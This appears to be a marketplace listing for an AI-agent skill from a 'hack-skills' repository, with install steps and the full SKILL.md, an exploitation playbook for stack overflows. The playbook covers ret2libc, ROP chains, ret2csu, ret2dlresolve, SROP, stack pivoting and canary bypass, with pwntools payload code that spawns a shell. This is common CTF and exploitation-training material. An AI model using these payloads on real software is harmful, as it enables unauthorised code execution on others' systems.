Stack Overflow And Rop logo

Stack Overflow And Rop

OrganizationPopular
yaklang
stack-overflow-and-rop

Stack overflow and ROP playbook. Use when exploiting buffer overflows to hijack control flow via return address overwrite, ROP chains, ret2libc, ret2csu, ret2dlresolve, or SROP on Linux userland binaries.

Overview

Publisheryaklang
Repositoryhack-skills
Skill namestack-overflow-and-rop
Stars
2.3K
Forks
314
Bundled files
1
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 1 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by yaklang on GitHub. Read the source before you install it.

Installation

Install the Stack Overflow And Rop AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/yaklang/hack-skills/tree/main/skills/stack-overflow-and-rop
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/yaklang/hack-skills.git /tmp/hack-skills
mkdir -p .claude/skills
cp -r /tmp/hack-skills/skills/stack-overflow-and-rop .claude/skills/stack-overflow-and-rop
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Stack Overflow And Rop in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Stack Overflow And Rop on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Stack Overflow And Rop is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

SKILL: Stack Overflow & ROP — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert stack-based exploitation techniques. Covers classic buffer overflow, return-to-libc, ROP chain construction, ret2csu, ret2dlresolve, SROP, stack pivoting, and canary bypass. Distilled from ctf-wiki advanced-rop, real-world CVEs, and CTF competition patterns. Base models often miss the nuance of gadget selection under constrained conditions.

0. RELATED ROUTING

Advanced Reference

Load ROP_ADVANCED_TECHNIQUES.md when you need:

  • Blind ROP (BROP) methodology against remote services without binary
  • ret2vdso for ASLR bypass on 32-bit systems
  • Partial overwrite techniques for PIE bypass
  • JOP / COP alternative code-reuse paradigms

1. STACK LAYOUT FUNDAMENTALS

High Address
┌─────────────────────┐
│   ...  (caller)     │
├─────────────────────┤
│   Return Address    │  ← overwrite target (EIP/RIP control)
├─────────────────────┤
│   Saved EBP/RBP     │  ← overwrite for stack pivoting
├─────────────────────┤
│   Canary (if enabled)│
├─────────────────────┤
│   Local Variables    │  ← buffer starts here
├─────────────────────┤
│   ...               │
└─────────────────────┘
Low Address
Elementx86 (32-bit)x86-64 (64-bit)
Return address size4 bytes8 bytes
Saved frame pointer4 bytes (EBP)8 bytes (RBP)
Canary size4 bytes8 bytes
Calling conventionargs on stackRDI, RSI, RDX, RCX, R8, R9 then stack
Syscall instructionint 0x80syscall

2. RETURN-TO-LIBC

When NX is enabled (stack not executable), redirect execution to libc functions.

Classic ret2libc (32-bit)

python
payload = b'A' * offset
payload += p32(system_addr)
payload += p32(exit_addr)      # fake return address for system()
payload += p32(binsh_addr)     # arg1: "/bin/sh"

ret2libc (64-bit) — Need Gadgets for Arguments

python
pop_rdi = elf_base + 0x401234  # pop rdi; ret
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

Libc Base Leak Methods

MethodTechniqueWhen
puts@plt(puts@GOT)Leak resolved libc addressGOT already resolved, puts in PLT
write@plt(1, read@GOT, 8)Leak via write syscallwrite available
printf("%s", GOT_entry)Leak via format stringprintf controllable
Partial overwriteOverwrite low bytes of return to reach leak gadgetPIE enabled, known last 12 bits
python
# Typical leak pattern
rop = b'A' * offset
rop += p64(pop_rdi) + p64(elf.got['puts'])
rop += p64(elf.plt['puts'])
rop += p64(main_addr)  # return to main for second payload

io.sendline(rop)
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']

one_gadget — Single Gadget RCE

bash
$ one_gadget /path/to/libc.so.6
0x4f3d5  execve("/bin/sh", rsp+0x40, environ)
  constraints: rsp & 0xf == 0, rcx == NULL
0x4f432  execve("/bin/sh", rsp+0x40, environ)
  constraints: [rsp+0x40] == NULL

Constraints must be satisfied — check register/stack state before using.


3. ROP CHAIN CONSTRUCTION

Tool Comparison

ToolStrengthCommand
ROPgadgetComprehensive search, chain generationROPgadget --binary elf --ropchain
ropperSemantic search, JOP/COP supportropper -f elf --search "pop rdi"
pwntools ROPAutomated chain buildingrop = ROP(elf); rop.call('system', ['/bin/sh'])
xropFast gadget searchxrop -r elf

Essential Gadget Patterns

PurposeGadgetUse Case
Set RDI (arg1)pop rdi; retMost function calls
Set RSI (arg2)pop rsi; pop r15; retTwo-arg functions
Set RDX (arg3)pop rdx; ret (rare)Three-arg functions, use ret2csu
Syscallsyscall; retDirect syscall invocation
Stack pivotleave; retMove RSP to controlled buffer
Align stackret (single ret gadget)Fix 16-byte alignment for movaps

x86-64 stack alignment: system() and other libc functions use movaps which requires RSP % 16 == 0. Insert an extra ret gadget before the call if alignment is off.


4. ret2csu — Universal 3-Argument Control

__libc_csu_init exists in nearly all dynamically linked ELF binaries and provides controlled calls with up to 3 arguments.

nasm
; Gadget 1 (csu_init + 0x3a): pop registers
pop rbx     ; 0
pop rbp     ; 1
pop r12     ; call target (function pointer address)
pop r13     ; arg3 (rdx)
pop r14     ; arg2 (rsi)
pop r15     ; arg1 (edi = r15d)
ret

; Gadget 2 (csu_init + 0x20): controlled call
mov rdx, r13
mov rsi, r14
mov edi, r15d    ; NOTE: only sets edi (32-bit), not full rdi
call [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <loop>
; falls through to gadget 1 again

Key constraints: r12 must point to a pointer to the target function (e.g., GOT entry), not the function address directly. Set rbx=0, rbp=1 to skip the loop.


5. ret2dlresolve

Forge ELF dynamic linking structures to resolve an arbitrary function (e.g., system) without a libc leak.

Attack Flow

  1. Control execution to call _dl_runtime_resolve(link_map, reloc_offset)
  2. Forge Elf_Rel at known writable address pointing to fake Elf_Sym
  3. Forge Elf_Sym with st_name pointing to fake string "system\x00"
  4. Set reloc_offset so resolver uses forged structures
  5. Argument (/bin/sh) placed on stack or in known buffer
python
# pwntools automation (recommended)
from pwntools import *
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
io.sendline(rop.chain())
io.sendline(dlresolve.payload)

32-bit vs 64-bit Differences

Aspect32-bit64-bit
Relocation typeElf32_Rel (8 bytes)Elf64_Rela (24 bytes)
Symbol table entryElf32_Sym (16 bytes)Elf64_Sym (24 bytes)
AlignmentRelaxedStrict (must satisfy ndx = (reloc_offset) / sizeof(Elf64_Rela), then sym = symtab[ndx])
Version checkUsually skippableVERSYM[sym_index] must be valid or 0

6. SROP — Sigreturn-Oriented Programming

Abuse the sigreturn syscall to set all registers at once from a fake Signal Frame on the stack.

python
from pwn import *
frame = SigreturnFrame()
frame.rax = constants.SYS_execve  # 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret_addr
frame.rsp = new_stack_addr  # optional pivot

payload = b'A' * offset
payload += p64(pop_rax_ret) + p64(15)  # SYS_rt_sigreturn = 15
payload += p64(syscall_ret)
payload += bytes(frame)

When to use: limited gadgets, no pop rdx, static binary, or need to pivot stack to arbitrary address.


7. STACK PIVOTING

Move the stack pointer to an attacker-controlled buffer when overflow length is limited.

TechniqueGadgetPrecondition
leave; retmov rsp, rbp; pop rbp; retControl saved RBP to point to fake stack
xchg rsp, rax; retSwap RSP with RAXControl RAX (via gadget chain)
pop rsp; retDirect RSP controlRare but powerful
SROP pivotSet RSP in SigreturnFrameOnly need sigreturn gadget

leave;ret Pivot Pattern

Overflow: [AAAA...][fake_rbp → buf][leave_ret_addr]
  1st leave: rsp = rbp → fake_rbp;  pop rbp → *fake_rbp
  1st ret:   rip = leave_ret_addr
  2nd leave: rsp = new_rbp → buf+8; pop rbp → *(buf)
  2nd ret:   rip = *(buf+8) → start of ROP chain in buf

8. CANARY BYPASS

TechniqueConditionMethod
Brute-forcefork() server (canary same in child)Byte-by-byte (256 × 7 = 1792 attempts for 64-bit)
Format string leakprintf(user_input) available%N$p to read canary from stack
Stack readingOne-byte overflow or partial readOverwrite canary null byte, read via error/output
Thread canaryOverflow reaches TLSOverwrite stack_guard in TLS (at fs:[0x28]) simultaneously
Information disclosureUninitialized stack variable leakCanary included in leaked data

9. TOOLS QUICK REFERENCE

bash
checksec ./binary                          # Show protections (NX, canary, PIE, RELRO)
ROPgadget --binary ./binary --ropchain     # Auto-generate ROP chain
ropper -f ./binary --search "pop rdi"      # Semantic gadget search
one_gadget ./libc.so.6                     # Find one-shot RCE gadgets
pwn template ./binary --host x --port y    # Generate pwntools exploit skeleton

10. DECISION TREE

Binary has stack overflow?
├── checksec: NX disabled?
│   └── YES → shellcode on stack, ret to buffer (ret2shellcode)
│   └── NO (NX enabled) →
│       ├── Canary enabled?
│       │   ├── YES → fork() server? → brute-force canary
│       │   │         format string? → leak canary
│       │   │         info leak?     → read canary
│       │   └── NO → proceed to ROP
│       ├── ASLR/PIE enabled?
│       │   ├── PIE → leak code base (partial overwrite last 12 bits, or info leak)
│       │   ├── ASLR only → leak libc base (puts@GOT, write@GOT)
│       │   └── Neither → addresses known, direct ROP
│       ├── Can leak libc?
│       │   ├── YES → ret2libc (system/execve) or one_gadget
│       │   └── NO → ret2dlresolve (forge resolution) or SROP
│       ├── Need 3+ args but no pop rdx?
│       │   └── ret2csu or SROP
│       ├── Overflow too short for full chain?
│       │   └── Stack pivot (leave;ret, xchg rsp)
│       ├── Static binary (no libc)?
│       │   └── SROP + syscall chain (execve via sigreturn)
│       └── Full RELRO?
│           └── Cannot overwrite GOT → target __free_hook, __malloc_hook,
│               or _IO_FILE vtable (see ../arbitrary-write-to-rce/)

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Stack Overflow And Rop AI skill do?

Stack overflow and ROP playbook. Use when exploiting buffer overflows to hijack control flow via return address overwrite, ROP chains, ret2libc, ret2csu, ret2dlresolve, or SROP on Linux userland binaries.

Why use Stack Overflow And Rop on TypingMind?

Because you install it once and use it with any model. Stack Overflow And Rop is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Stack Overflow And Rop in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/yaklang/hack-skills/tree/main/skills/stack-overflow-and-rop. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Stack Overflow And Rop?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Stack Overflow And Rop?

As many as you like. As long as a model supports skills, you can use Stack Overflow And Rop with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Stack Overflow And Rop AI skill free?

Yes. It is published on GitHub by yaklang under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇